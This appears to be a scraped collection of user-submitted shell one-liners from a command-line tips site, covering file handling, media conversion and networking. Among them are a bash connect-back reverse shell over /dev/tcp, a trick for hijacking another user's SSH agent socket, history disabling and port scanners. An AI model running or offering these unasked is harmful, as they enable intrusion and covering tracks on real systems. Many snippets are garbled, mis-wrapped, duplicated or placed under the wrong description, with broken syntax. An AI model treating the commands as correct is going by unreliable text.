find . -type f | while read line; do NEW_TS=`date -d@$(\`stat -c '%Y' $line`\` +
<seconds> )` '+%Y%m%d%H%M.%S`; touch -t $NEW_TS ${line}; done

# Copy structure
cd $srcdir && find -type d -exec mkdir -p $dstdir/{ } \;

# Creating shortened URLs from the command line
curl -s http://tinyurl.com/create.php?url=http://<website.url>/ | sed -n 's/.*\(\
http://\|/tinyurl.com/[a-z0-9][a-z0-9]*\).*\/\|/p' | uniq

# Batch rename extension of all files in a folder, in the example from .txt to .
md
rename 's/\.txt$/\.md$/i' *

# Uptime in minute
bc <<< `uptime | sed -e 's/^. *up //' -e 's/^[^0-9:].*//' | sed 's/:/*60+/g'`

# print lib path of perl
perl -e 'print map { $_ . "\n" } @INC;'

# Delete all but the latest 5 files, ignoring directories
ls -lt|grep ^-|awk 'NR>5 { print $8 }'|xargs -r rm

# Clean your broken terminal
reset

```



```

# Wait the end of prog1 and launch prog2
while pkill -0 prog1; do sleep 10; done; prog2

# It decrypts all pgg files in a selection folder and move the output into a file.
for x in *.pgp do `cat /file_with_the_passphrase.dat|(gpg --batch --no-tty --yes --passphrase-fd=0 --decrypt `basename $x`; ) > 'dump_content.dat'` done;

# grep certain file types recursively
find . -name "*.ch" -exec grep "TODO" {} +

# A function to find the newest file in a directory
newest () { DIR=${1:-'.'}; CANDIDATE=`find $DIR -type f|head -n1`; while [[ ! -z $CANDIDATE ]]; do BEST=$CANDIDATE; CANDIDATE=`find $DIR -newer "$BEST" -type f|head -n1`; done; echo "$BEST"; }

# View advanced Sort options, Quick Reference Help Alias
alias sorth='sort --help|sed -n "/^ *-[-]/s/^ *\(-[^\ ]* -[^\ ]*\) *\(.*)/\1:\2/p"|column -ts:"'

# change user & preserver environment (.bashrc&co)
su - -m -p git

# Clone or rescue a block device
ddrescue -v /dev/sda /dev/sdb logfile.log

# HDD Performance Write Test
dd if=/dev/zero of=10gb bs=1M count=10240

# Install the Debian-packaged version of a Perl module
function dpan () { PKG=`perl -e '$_lc($ARGV[0]); s/::/-/g; print "lib$_-perl\n"' $1`; apt-get install $PKG; }

# convert a .wmv to a .avi
mencoder "/path/to/file.wmv" -ofps 23.976 -ovc lavc -oac copy -o "/path/to/file.avi"

# find your release version of your ubuntu / debian distro
lsb_release -a

# Configuring proxy client on terminal without leaving password on screen or in bash_history
set-proxy () { P=webproxy:1234; DU="fred"; read -p "username[$DU]:" USER; printf "%b"; UN=${USER:-$DU}; read -s -p "password:" PASS; printf "%b" "\n"; export http_proxy="http://${UN}:${PASS}@$P/"; export ftp_proxy="http://${UN}:${PASS}@$P/"; }

# view http traffic
tcpdump -i eth0 port 80 -w -

# Add all files
svn add `svn status | grep ? | cut -c9-80`

# convert mp3 into mb4 (audiobook format)
mpg123 -s input.mp3 | faac -b 80 -P -X -w -o output.m4b -

# Router discovery
traceroute 2>/dev/null -n google.com | awk '/^ *1/{print $2;exit}'

```

```

# A command to post a message and an auto-shortened link to Twitter. The link shortening service is provided by TinyURL.
curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s http://tinyurl.com/api-create.php?url=URL_GOES_HERE)" -d source="cURL" http://twitter.com/statuses/update.json -o /dev/null

# Remove all unused kernels with apt-get
perl -e 'chomp($k=`uname -r`); for (</boot/vm*>) {s/^.*/vmlinuz-($k)?//; $1.="linux-image-$_" ;} system "aptitude remove $1";'

# Convert a string to "Title Case"
echo 'This is a TEST' | sed 's/[^\ ]\+/\L\u&/g'

# Periodic Log Deletion
find /path/to/dir -type f -mtime +[#] -exec rm -f {} \;

# exim statistics about mails from queue
exim -bp | exiqsumm -c

# Search gpg keys from commandline
gpg --search-keys

# Makefile argument passing
make [target] VAR=foobar

# Really remove file from your drive
function rrm(){ for i in $*; do; if [ -f $i ]; then; echo "rrm - Processing $i"; shred --force --remove --zero --verbose $i; else; echo "Can't process $i"; type=$(stat "$1" -c %F); echo "File $i is $type"; fi; done;}

# Convert ascii string to hex
echo -n 'text' | perl -pe 's/(.)/sprintf("\x%x", ord($1))/eg'

# Generate list of words and their frequencies in a text file.
tr A-Z a-z | tr -d "[[:punct:]][[:digit:]]" | tr ' /_ ' '\n' | sort | uniq -c

# auto complete arguments
ls --[TAB][TAB]

# How to trim a video using ffmpeg
ffmpeg -i video.avi -vcodec copy -acodec copy -ss 00:00:00 -t 00:00:04 trimmed_video.avi

# Webcam view with vlc
cvlc v4l2:// &

# Find and copy scattered mp3 files into one directory
find . -type f -iname '*.mp3' -exec cp {} ~/mp3/ \;

# Mirror every lvol in vg00 in hp-ux 11.31
find /dev/vg00 -type b |while read L; do lvextend -m 1 $L /dev/disk/<disk> ; done

# Redirect bash built-in output to stdout
TIME=$( { time YOUR_COMMAND_HERE; } 2>&1 ) ; echo $TIME

# Generate an XKCD #936 style 4 word passphrase (fast)
echo $(shuf -n4 /usr/share/dict/words)

# Search specified $TEXT1 and Replace that by specified arg ($TEXT2)

```

```

find "$DIR" -regex "$FILENAME" -type f -print0 | xargs -0 sed -i _`date "+%y%m%d
%H%M%S"` -E "s/$TEXT1/$TEXT2/g"

# Go to directory or creat it and go to
[[ -d dir ]] || mkdir dir ; cd dir

# remove the last of all html files in a directory
for f in *.html; do sed '$d' -i "$f"; done

# Quickly build ulimit command from current values
echo "ulimit `ulimit -a|sed -e 's/^\.*\([a-z]\)\)\(.*)$/-1\2/'|tr "\n" ' '`"

# Check whether laptop is running on battery or cable
acpi -b | sed 's/,//g' | awk '{print $3}'

# Numeric zero padding file rename
ls *.jpg | awk -F'.' '{ printf "%s %04d.%s\n", $0, $1, $2; }' | xargs -n2 mv

# Record active input of soundcard to file.wav
rec -c 2 -r 44100 -s -t wav file.wav

# Shows the torrent file name along with the trackers url
grep -ao -HP "http://[^\1\2/'|tr "\n" ' '`"

# Check whether laptop is running on battery or cable
while true;do clear;echo -n Current\ `grep voltage /proc/acpi/battery/BAT0/state
| awk '{print $2" "$3" "$4}'`;for i in `seq 1 5`;do sleep 1;echo -n .;done;done

# Generate a (compressed) pdf from images
convert -compress jpeg *.jpg mydoc.pdf

# Efficient count files in directory (no recursion)
perl -e 'if(opendir D, "."){@a=readdir D;print $#a-1, "\n"}'

# Readd all files is missing from svn repo
svn status | grep "^\?" | awk '{print $2}' | xargs svn add

# check spell in c source code
grep -o -h -rE '".*"' * | ispell -l -p ~/mydict | sort -u

# Sum file sizes
expr `find . -type f -printf "%s + "0`

# Normalize volume output in MPlayer
mplayer -af volnorm=2:0.75 dvd://

# Execute a command on multiple hosts in parallel
for host in host1 host2 host3; do ssh -n user@$host <command> > $host.log & done
; wait

# Gets the X11 Screen resolution
RES=`xrandr | grep '*' | sed 's/\s*\([0-9x]*\)\.*\/\1/'`; echo $RES

# Big (four-byte) $RANDOM
printf %d 0x`dd if=/dev/urandom bs=1 count=4 2>/dev/null | od -x | awk 'NR==1 {p
rint $2$3}'`

# Disable graphical login on Solaris
/usr/dt/bin/dtconfig -d

```

```
# Get full URL via http://untr.im/api/ajax/api
URL=[target.URL]; curl -q -d "url=$URL" http://untr.im/api/ajax/api | awk -F 'href="' '{print $3}' | awk -F '" rel="' '{print $1}'

# Get your public ip using dyndns
curl -s 'http://www.loopware.com/ip.php'

# Create a new user with no shell. Useful to provide other services without giving shell access.
useradd -s /sbin/nologin nicdev

# Output a SSL certificate start or end date
date --date="$(openssl x509 -in xxxxxx.crt -noout -startdate | cut -d= -f 2)" --iso-8601

# Instant mirror from your laptop + webcam (fullscreen+grab)
mplayer -fs -vf screenshot,mirror tv://

# Provide information on IPC (Inter-process communication) facilities
ipcs

# Change pidgin status
dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/PurpleObject im.pidgin.purple.PurpleInterface.PurpleSavedstatusActivate int32:<WANTED STATE>

# Recursive grep of all c++ source under the current directory
find . -name '*.?pp' -exec grep -H "string" {} \;

# To find which host made maximum number of specific tcp connections
netstat -n | grep '^tcp.*<IP>:<PORT>' | tr " " | awk 'BEGIN{FS="( |:)" } {print $6}' | sort | uniq -c | sort -n -k1 | awk '{if ($1 >= 10){print $2}}'

# Check hashes of files installed by Debian packages, reporting only errors.
debsums -s

# Use -t when using find and cp
find . -name "*.pdf" -print0 | xargs -0 cp -t downloads/

# Open a Remote Desktop (RDP) session with a custom resolution.
mstsc /w:1500 /h:900 /v:www.example.com

# Multiline Search/Replace with Perl
perl -i -pe 'BEGIN{undef $/;} s/START.*?STOP/replace_string/smg' file_to_change

# translate what is in the clipboard in english and write it to the terminal
curl -s "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|en&v=1.0&q=`xsel`" |cut -d \" -f 6

# Copy files based on extension with recursive and keeping directory structure
rsync -rv --include '*/' --include '*.jar' --exclude '*' srcDir desDir

# Ride another SSH agent
export SSH_AUTH_SOCK=`find /tmp/ssh* -type s -user [user] -mtime -1 | head -1`

# shorten url using curl, sed and is.gd
curl -s -d URL="$1" http://is.gd/create.php | sed '/Your new shortened/!d;s/.*/va lue="\([^"]*\)".*/\1/'
```

```

# random xkcd comic as xml
curl -sL 'dynamic.xkcd.com/comic/random/' | awk -F\" '/^<img/{printf("<?xml vers
ion=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <ima
ge>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'

# Display error pages in report format
sudo awk '($9 ~ /404/)' /var/log/httpd/www.domain-access_log | awk '{print $2,$9
,$7,$11}' | sort | uniq -c

# Get size of terminal
alias termsize='echo $COLUMNS x $LINES'

# Find out my Linux distribution name and version
cat /etc/*-release

# Delete All Objects From An S3 Bucket Using S3cmd
s3cmd ls s3://bucket.example.com | s3cmd del `awk '{print $4}'`

# Link a deep tree of files all into on directory
find /deep/tree/ -type f -print0|xargs -0 -n1 -I{} ln -s '{}' .

# Step#2 Create a copy of the bootload and partition table!
dd if=/dev/sda of=/home/sam/MBR.image bs=512 count=1

# list all file extensions in a directory
ls | grep -Eo "\.+" | sort -u

# let the cow suggest some commit messages for you
curl -s http://whatthecommit.com/index.txt | cowsay

# convert ascii string to hex
xxd -p <<< <STRING>

# share internet connection with only one network interface
ifconfig eth0:1 192.168.0.1/24

# Generic shell function for modifying files in-place
inplace() { eval F="\${$#}"; "$@" > "$F".new && mv -f "$F".new "$F"; }

# Count TCP States From Netstat
netstat -an | awk '/tcp/ {print $6}' | sort | uniq -c

# apt-get upgrade with bandwidth limit
sudo apt-get -o Acquire::http::Dl-Limit=20 -o Acquire::https::Dl-Limit=20 upgrad
e -y

# Convert mkv to SVCD/DivX
ffmpeg -i movie.mkv -target vcd movie.avi

# tar a directory and send it to netcat
tar cfvz - /home/user | netcat -l -p 10000

# retrieve the source address used to contact a given host
python -c 'import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
; s.connect(("<hostname>", <port>)); print s.getsockname()[0] ; s.close() ;' 2>
/dev/null

# add a ip address to a network device
ip addr add 192.168.10.1/24 dev eth0

```

```

# Convert a string to
python -c "print 'this is a test'.title()"

# archlinux: check which repository packages have updates available
pacman -Qu

# Get MX records for a domain
host -t mx foo.org

# colorize comm output
comm file1 file2 | sed -e 's/^[^\t].*/\x1b[33m\x1b[0m/' -e 's/^\t[^\t].*/\x1b[36m\x1b[0m/' -e 's/^\t\t[^\t].*/\x1b[32m\x1b[0m/'

# find available cpu frequencies on FreeBSD
sysctl dev.cpu.0.freq_levels

# Directory bookmarks
bm() { export BM${1?"bookmark name missing"}="$PWD" ; }; forget() { unset BM${1?"bookmark name missing"} ; }

# bash or tcsh redirect both to stdout and to a file
echo "Hello World." | tee -a hello.txt

# list all opened ports on host
time { i=0; while [ $(( i < 65535 )) -eq 1 ] ; do nc -zw2 localhost $((++i)) && echo port $i opened ; done; }

# remove oprhan package on debian based system
sudo deborphan | xargs sudo apt-get -y remove --purge

# Turns hidden applications transparent in the Mac OS X dock.
defaults write com.apple.Dock showhidden -bool YES

# MoscowML with editable input-line and history
rlwrap mosml

# Get first Git commit hash
git log --pretty=format:%H | tail -1

# List only locally modified files with CVS
cvs -Q status | grep -i locally

# find files containing text
grep -lir "sometext" * > sometext_found_in.log

# converting vertical line to horizontal line
tr '\n' '\t' < inputfile

# Count the number of man pages per first character (a-z)
for i in {a..z} ; do man -k $i |grep -i "^$i" |wc | awk 'BEGIN { OFS = ":"; ORS = "" }{print $1, "\t"}' && echo $i ;done

# List files with quotes around each filename
ls | sed 's,\(.*\),"\"1", '

# Get a Bulleted List of SVN Commits By a User for a Specific Day (Daily Work Log
)
svn log -r '{YYYY-MM-DD}:{YYYY-MM-DD}' | sed -n '1p; 2,/^-/d; /USERNAME/,/^-/p'

```

```

| grep -E -v '^(r[0-9]|---|$)' | sed 's/^/* /g'

# Backup your LDAP
slapcat -n 1 > /backup/`date +%Y%m%d`.ldif

# Quick find function
quickfind () { find . -maxdepth 2 -iname "*$1*" }

# Right-align text in console using pipe like ( command | right )
$ right(){ l="$(cat -)"; s=$(echo -e "$l" | wc -L); echo "$l" | while read l;do j
=$((s-${#l}));echo "$l";done;}; ls --co
lor=none / | right

# Print unique ipaddresses as they come in from Apache Access Log File
tail -f /var/log/apache2/access.log | awk -W interactive '!x[$1]++ {print $1}'

# Replace spaces in a file with hyphens
sed -i 's/ /-/g' *

# get stdout to variable and stdout at sametime
{ var="$( ls / | tee >(cat - >&2) )"; } 2>&1; echo -e "*** var=$var"

# find files beginning with filename* that do not include "string"
grep -L "string" filename*

# A signal trap that logs when your script was killed and what other processes w
ere running at that time
trap "echo \"$0 process $$ killed on $(date).\" | tee ${0##*/}_$$_termination.lo
g; echo 'Active processes at the time were logged to ${0##*/}_$$_termination.log
'; ps u >> ${0##*/}_$$_termination.log; exit " HUP INT QUIT ABRT TERM STOP

# Get all IPs via ifconfig
ifconfig | awk -F':| +' '/ddr:/{print $4}'

# Searches $PATH for files using grep
IFS=.; find $PATH | grep pattern

# Change wallpaper
feh --bg-scale /path/to/wallpaper.jpg

# to see about php configure
$php_dir/bin/php -i | grep configure

# Change the console keyboard layout
loadkeys uk

# Arch Linux sort installed packages by size
pacman -Qi $(pacman -Qq)|grep 'Name\|Size'| cut -d: -f2 | paste - - | column -t
| sort -nk2

# Recursive replace of directory and file names in the current directory.
find . *oldname* | grep oldname | perl -p -e 's/^(.*) (oldname) (.*$)/mv $1$2$3 $1
newname$3/' | sh

# Take a file as input (two columns data format) and sum values on the 2nd colum
n for all lines that have the same value in 1st column
awk '{a[$1] += $2} END { for (i in a) {print i " " a[i]}}' /path/to/file

# Check whether laptop is running on battery or cable

```

```
acpi -a

# apt-get upgrade with bandwidth limit
trickle sudo apt-get update -y

# find files ignoring .svn and its decendents
find . -type f ! -iwholename \*.svn\* -print0 [ | xargs -0 ]

# Get your external IP address
curl http://my-ip.cc/host.txt

# Display / view the contents of the manifest within a Java jar file
$ unzip -p some-jar-file.jar META-INF/MANIFEST.MF

# Function to split a string into an array
Split() { eval "$1=( \${echo "${!1}" | sed "s/$2/\ " \"/g"} )" }; }

# See all the commits for which searchstring appear in the git diff
git log -p -z | perl -ln0e 'print if /[+-].*searchedstring/'

# Check if the Debian package was used since its installation/upgrade.
package=$1; list=/var/lib/dpkg/info/${package}.list; inst=$(stat "$list" -c %X);
cat $list | (while read file; do if [ -f "$file" ];then acc=$(stat "$file" -c %
X); if [ $inst -lt $acc ]; then echo used $file; exit 0; fi; fi; done; exit 1)

# find files ignoring .svn and its decendents
find . -type d -name .svn -prune -o -type f -print0 | xargs -r0 ...

# Basic port scanner perl
perl -MIO::Socket::INET -e '{ print "PORT 22 is open\n" if ( IO::Socket::INET->n
ew(PeerAddr=>"127.0.0.1:22",Proto=>'tcp',Timeout=>1) ) ;}'

# convert wmv into xvid avi format
mencoder -ovc xvid -oac mp3lame -srate 44100 -af lavcresample=44100 -xvidencopts
fixed_quant=4 Foo.wmv -o Bar.avi

# Trim png files in a folder
mogrify -trim *png

# list services running (as root)
service --status-all | grep running

# Have netcat listening on your ports and use telnet to test connection
SERVER: nc -l p 666 CLIENT: telnet -l -p 666

# GZip all files in a directory separately
ls | xargs -n1 gzip

# DVD-Rip
mplayer dvd://1 -dumpstream -alang es -dumpfile "$dirDestino"/"$tituloDVD".mpg &
& ffmpeg -i "$dirDestino/$tituloDVD.mpg" -acodec libmp3lame -alang spa -vcodec l
ibx264 -crf 26 -vpre hq -threads 0 "$dirDestino/$tituloDVD.mp4"

# add a backup (or any other) suffix to a file
mv -vi file{,~}

# GZip all files in a directory separately
gzip *
```



```
# Copy a file using dc3dd and watch its progress (very nice alternative to dd)
dc3dd progress=on bs=512 count=2048 if=/dev/zero of=/dev/null

# get detailed info about a lan card on HP-UX 11.31
nwmgr -q info -c lan0

# Check the package is installed or not. There will show the package name which
is installed.
dpkg -l | cut -d' ' -f 3 | grep ^python$

# View a sopcast stream
(sp-sc sop://broker.sopcast.com:3912/6002 3900 8900 &>/dev/null &); sleep 10; mp
layer http://localhost:8900/tv.asf

# Terminal Escape Code Zen - Strace and Tput
termtrace(){( strace -s 1000 -e write tput $@ 2>&2 2>&1 ) | grep -o '"[^"]*"';}

# find all active IP addresses in a network
ping -c2 192.168.1.255 >/dev/null; arp -a

# Number of CPU's in a system
grep -c ^processor /proc/cpuinfo

# Compress a file or directory keeping the owner and permissions
tar -jcvf /folder/file.tar.bz2 --same-owner --same-permissions /folder/

# Using scapy to get the IP of the iface used to contact local gw (i.e. supposed
host IP)
python -c "import scapy.all; print [x[4] for x in scapy.all.conf.route.routes if
x[2] != '0.0.0.0'][0]"

# Execute a command before display the bash prompt
PROMPT_COMMAND=command

# Get listening ports on a localhost
ss -ln | awk '$3~/([0-9]+)/{print $3}' | sed 's/.*\:\([0-9]\+\)\$/\1/'

# strace like SystemTap script
stap -v strace.stp -c /path/to/command

# Recursive replace of directory and file names in the current directory.
for i in `find -name '*oldname*`; do "mv $i ${i/oldname/newname/}"; done

# Cleanup firefox's database.
find ~/Library/Application\ Support/Firefox/ -type f -name "*.sqlite" -exec sqli
te3 {} VACUUM \;

# List users with running processes
ps aux | sed -n '/USER/!s/\([^\ ]\) .*/\1/p' | sort -u

# Email yourself a quick message
mailme(){ mailx -s "$@" $USER <<< "$@"; }

# List open sockets protocol/address/port/state/PID/program name
sudo netstat -punta

# Pipe a textfile to vim and move the cursor to a certain line
zcat /usr/share/doc/vim-common/README.gz | vim -g +23 -

# Use vi commands to edit your command lines
```

```

set -o vi; ls -l jnuk<ESC>bCjunk

# Create a directory and go inside it
mkdir dir; cd $_

# Kill multiple instances of a running process
killall -9 rouge-process

# Rotate a pdf by 90 degrees CW
pdftk input.pdf cat 1-endE output output.pdf

# Get the SUM of visual blocked digits in vim
vmap <c-a> y:$(CR)<o<Esc>map<Esc>:'a,$!awk '{sum+=$0}END{print "SUM:" sum}'<CR>dd
'>p

# Sort a character string
echo sortmeplease | grep -o . | sort | tr -d '\n'; echo

# How to check network connection from one interface
ping -I eth0 www.yahoo.com

# save a manpage to plaintext file
man -P cat ls > man_ls.txt

# Adding specific CustomLog for each Virtual Domain of Apache
for arquivo in `ls -l` ; do sed -i '/ErrorLog/a\ \ \ \ \ \ \ \ CustomLog \var\/
log\/apache2\/access_"$file"_log combined' /root/site-bak/$(file) ; done

# Get duration of an audio file in seconds.
get_duration() { durline=$(sox "$1" -n stat 2>&1|grep "Length (seconds):");echo
${durline#\*: }; }

# Bypass 1000 Entry limit of Active Directory with ldapsearch
ldapsearch -LLL -H ldap://${HOST}:389 -b 'DC=${DOMAIN},DC=${TLD}' -D '${USER}'
-w 'password' objectclass=* -E pr=2147483647/noprompt

# Determine next available UID
awk -F: '{uid[$3]=1}END{for(x=500; x<=600; x++) {if(uid[x] != ""){}}else{print x;
exit;}}}' /etc/passwd

# Best option set for 7zip compression of database dumps or generic text files
7zr a -mx=9 -ms=on -mhc=on -mtc=off db_backup.sql.7z db_dump.sql

# Ask user to confirm
Confirm() { echo -n "$1 [y/n]? " ; read reply; case $reply in Y*|y*) true ;; *)
false ;; esac }

# m4a to mp3 conversion with ffmpeg and lame
ffmpeg -i input.m4a -acodec libmp3lame -ab 128k output.mp3

# Show word-by-word differences between two latex files, in color
dwdiff -c a.tex b.tex | less -R

# Extract audio from a video
ffmpeg -i input.mp4 -vn -acodec copy output.m4a

# Show directories
ls -l | grep ^d

```

```
# count how many cat processes are running
ps -a | grep -c cat

# Apply fade effect to a audio
sox input.mp3 output.mp3 fade h 5 00:02:58 5

# socat TCP-LISTEN:5500 EXEC:'ssh user@remotehost "socat STDIO UNIX-CONNECT:/var
/run/mysqld/mysqld.sock"'
Tunnel a MySQL server listening on a UNIX socket to the local machine

# find distro name / release version
$ cat /etc/*-release

# Combine two mp3's or more into 1 long mp3
cat 1.mp3 2.mp3 > combined.mp3

# Last month
LASTMONTH=`date -d "last month" +%B`

# Cleanup debian/ubuntu package configurations
dpkg -l |grep ^rc |awk '{print $2}' |xargs sudo dpkg --purge

# Tell what is encoded in a float, given its HEX bytes
dc -e"16i?dsH0sq2d17^ss8^dse2/1-stdlsle*/2*2B+an[[ FP Indef.]n]sQ[dls2//2%_2*53+
an[NaN]ndle4*1-ls2/*=Q2Q]sN[lsqds%0<N[oo]n]sMdls/le%dsdle1-=M[[ ]pq]sPlq1=P[r+0]
s0lddlR0=0lHls%rls*+sS2r^Alt4*^*lS*2lt^/ls/dsSZlt4*-1-sFlsZ1+klSdArZ1-^/dn0=P[e]
nlFp"

# Split huge file into DVD+R size chunks for burning
split -b 4700000000 file.img.gz file.img.gz.

# Read funny developer comments in the Linux source tree
grep -2riP '\b(fuck|shit|bitch|tits|ass\b)' /usr/src/linux/

# Perform a C-style loop in Bash.
for (( i = 0; i < 100; i++ )); do echo "$i"; done

# Send remote command output to your local clipboard
command | ssh myHost xsel -i --display :0

# Perl Command Line Interpreter
perl -dwe 1

# Find your graphics chipset
lspci |grep VGA

# gpg decrypt several files
gpg --allow-multiple-messages --decrypt-files *

# Remote mysql dump all databases with ssh
mysqldump -u user -p --all-databases | ssh user@host dd of=/opt/all-databases.du
mp

# Delete specific remote 'origin' branch 'gh-pages'
git push origin :gh-pages

# Compose 2 images to 1
composite -geometry 96x96+250+70 foreground.jpg background.jpg image.jpg
```

```

# List empty any directories
ls -ld **/*(/>^F)

# Connect-back shell using Bash built-ins
exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0

# Test python regular expressions
rgx_match() { python -c "import re; print re.search('$1','$2').groups()"; }

# Show available conversions
recode -l |less

# disable history for current shell session
HISTFILE=/dev/null

# Pull git submodules in parallel using GNU parallel
parallel -j4 cd {} \; pwd \; git pull :::: <(git submodule status | awk '{print $2}')

# converts a directory full of source tarballs into a bzip repository so you can compare different versions easily
bzip init .;for file in `ls *.bz2`; do bzip import $file; bzip ci -m $file; done

# Show every subdirectory (zsh)
ls -ld **/*(/>

# Top ten memory hogs
ps -eorss,args | sort -nr | pr -TW$COLUMNS | head

# Set gnome wallpaper to a random jpeg from the specified directory
gconftool -t str -s /desktop/gnome/background/picture_filename "`find /DIR_OF_JPGS -name '*.jpg' | shuf -n 1`"

# download the contents of a remote folder in the current local folder
wget -r -ll -np -nd http://yoururl.com/yourfolder/

# Use md5sum to check your music and movie files. Also use diff.
find . -type f -exec md5sum {} \; > <filename>

# Watch and cat the last file to enter a directory
watch "cat `ls -rcAl | tail -n1`"

# debian/ubuntu get installed nvidia driver version from terminal
dpkg --status nvidia-current | grep Version | cut -f 1 -d '-' | sed 's/[^.,0-9]/g'

# To find the LDAP clients connected to LDAP service running on Solaris
netstat -n -f inet|awk '/\.389/{print $2}'|cut -f1-4 -d.|sort -u

# Adding Color Escape Codes to global CC array for use by echo -e
declare -ax CC; for i in `seq 0 7`;do ii=$((i+7)); CC[$i]="\033[1;3${i}m"; CC[$ii]="\033[0;3${i}m"; done

# dump the whole database
mysqldump -u UNAME -p DBNAME > FILENAME

# Greets the user appropriately
echo "12 morning\n15 afternoon\n24 evening" |while read t g; do if [ `date +%H` -lt $t ]; then echo "Good $g"; break; fi; done

```

```

# ssh X tunneling over multiple ssh hosts (through ssh proxy)
ssh -t -X -A user@sshproxy ssh -X -A user@sshhost

# Count lines of source code excluding blank lines and comments
sloccount <directory>

# return a titlecased version of the string[str.title() in python]
title() { sed 's/\<\w*\>\&/g' <<<${@}; }

# This allows you to find a string on a set of files recursively
grep -rF --include='*.txt' stringYouLookFor *

# print a python-script (or any other code) with syntax-highlighting and no loss
of indentation
a2ps -R --columns=1 -M A4 myprog.py -o - |lpr

# Count all the files in the directory and child directories
ls -d */* | wc -l

# View internet connection activity in a browser
lsof -nPi | txt2html > ~/lsof.html | gnome-open lsof.html

# Encode text in Base64 using Perl
perl -e 'use MIME::Base64; print encode_base64("encode me plz");'

# Url Encode
echo "$@" | sed 's/ /%20/g;s/!/%21/g;s/"/%22/g;s/#/%23/g;s/\$/%24/g;s/\&/%26/g;s
/'\''/%27/g;s/(/%28/g;s/)/%29/g;s/:/%3A/g'

# Bulk renames with find, sed and a little escaping
find . -exec bash -c "mv '{}' '\`echo {} |sed -e 's/foo/bar/g'\`" \;

# find out zombie process
ps aux | awk '{ print $8 " " $2 " " $11}' | grep -w Z

# Clean the /boot directory
rpm -q kernel-2* | grep -v $(uname -r) | xargs yum erase -y

# Join a folder full of split files
for file in *.001; do NAME=`echo $file | cut -d. -f1,2`; cat "$NAME."[0-9][0-9][
0-9] > "$NAME"; done

# Send a local file via email
echo "see attached file" | mail -a filename -s "subject" email@address

# Find all files containing a word
find . -name "*.php" | xargs grep -il searchphrase

# dump the whole database
mysqldump --lock-tables --opt DBNAME -u UNAME --password=PASS | gzip > OUTFILE

# Dump snapshot of UFS2 filesystem, then gzip it
dump -0Lauf - /dev/adXsYz | gzip > /path/to/adXsYz.dump.gz

# CLI Visual Apache Web Log Analyzer
goaccess -f /var/log/apache2/access.log -s -b

# Summarize the number of open TCP connections by state

```

```

netstat -nt | awk '{print $6}' | sort | uniq -c | sort -n -k 1 -r

# Display formatted routes
routel

# validate xml in a shell script using xmllint
xmllint --noout some.xml 2>&1 >/dev/null || exit 1

# Find all files containing a word
grep -rHi searchphrase *.php

# Url Encode
uri_escape(){ echo -E "$@" | sed 's/\\/\\\\/g;s/./&\n/g' | while read -r i; do echo $i | grep -q '[a-zA-Z0-9/./:~=&=]' && echo -n "$i" || printf %%%x \"\$i" done }

# Count the frequency of every word for a given file
cat YOUR_FILE|tr -d '[:punct:]'|tr '[:upper:]' '[:lower:]'|tr -s ' ' '\n'|sort|uniq -c|sort -rn

# Update Ogg Vorbis file comments
for f in *.ogg; do vorbiscomment -l "$f" | sed 's/peter gabriel/Peter Gabriel/' | vorbiscomment -w "$f"; done

# Access partitions inside a LVM volume
kpartx -a /dev/mapper/space-foobar

# split a file by a specific number of lines
csplit -k my_file 500 {*}

# Get IP from hostname
ping -c 1 google.com | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'

# Clean all .pyc files from current project. It cleans all the files recursively
find . -type f -name "*.pyc" -delete;

# Mac OS X - List all of my machine's IP addresses
ifconfig | awk '/inet / {print $2}'

# Less a grep result, going directly to the first match in the first file
argv=("$@"); rest=${argv[@]:1}; less -JMN +"/$1" `grep -l $1 $rest`

# Copy files to a remote host with SFTP with a leading dot, then rename them to the real file name
sftp-cp() { for each in "$@"; do echo "put \"$each\" \".$each\""; echo "rename \".$each\" \"$each\""; done };

# Update twitter with curl
tweet(){ update=$(echo $*); [ ${#update} -lt 141 ] && curl -su user:pass -d source=curl -d status="$update" http://twitter.com/statuses/update.xml ->/dev/null | echo $(( ${#update} - 140 )) too many characters >&2; }

# Fire CMD every time FILE (or directory) is updated (on *BSD)
f="FILE";c="CMD";s="stat -f %m $f";t=`$s`;while [ 1 ];do if [ $t -eq `$s` ];then sleep 1;else echo `c`;t=`$s`;fi;done

# find/edit your forgotten buddy pounces for pidgin

```

```

vim ~/.purple/pounces.xml

# Show battery infomations for OS X 10.5.x
system_profiler SPPowerDataType | egrep -e "Connected|Charge remaining|Full char
ge capacity|Condition" | sed -e 's/^[ \t]*//'
```

Function to output an ASCII character given its decimal equivalent

```
chr() { printf \\$(printf %o $1); }
```

add an mp3 audio track to a video

```
mencoder -idx Your_Input_Video_File -ovc lavc -oac mp3lame -audiofile Your_Audi
o_track.mp3 -o Output_File.avi
```

ps for windows

```
wmic process list IO
```

List Threads by Pid along with Thread Start Time

```
ps -o pid,lwp,lstart --pid 797 -L
```

set your screensaver as your desktop background MAC OSX

```
/System/Library/Frameworks/ScreenSaver.framework/Resources/ScreenSaverEngine.app
/Contents/MacOS/ScreenSaverEngine -background &
```

Find out when your billion-second anniversary is (was).

```
date -d12/31/1970+1000000000sec
```

Short Information about loaded kernel modules

```
lsmod | cut -d' ' -f1 | xargs modinfo | egrep '^file|^desc|^dep' | sed -e '/^dep/
s/$/\n/g'
```

convert video format to youtube flv format

```
ffmpeg -i Your_video_file -s 320x240 FILE.flv
```

Quick searching with less

```
zcat file.gz | less +/search_pattern
```

Watch RX/TX rate of an interface in kb/s

```
while cat /proc/net/dev; do sleep 1; done | awk '/eth0/ {o1=n1; o2=n2; n1=$2; n2
=$10; printf "in: %9.2f\t\tout: %9.2f\r", (n1-o1)/1024, (n2-o2)/1024}'
```

Get My Public IP Address

```
curl -s http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9
]{1,3}'
```

Grab mp3 files from your favorite netcasts, mp3blog, or sites that often have good mp3s

```
wget -r -ll -H -tl -nd -N -np -A.mp3 -erobots=off -i ~/sourceurls.txt
```

Run a bash script in debug mode, show output and save it on a file

```
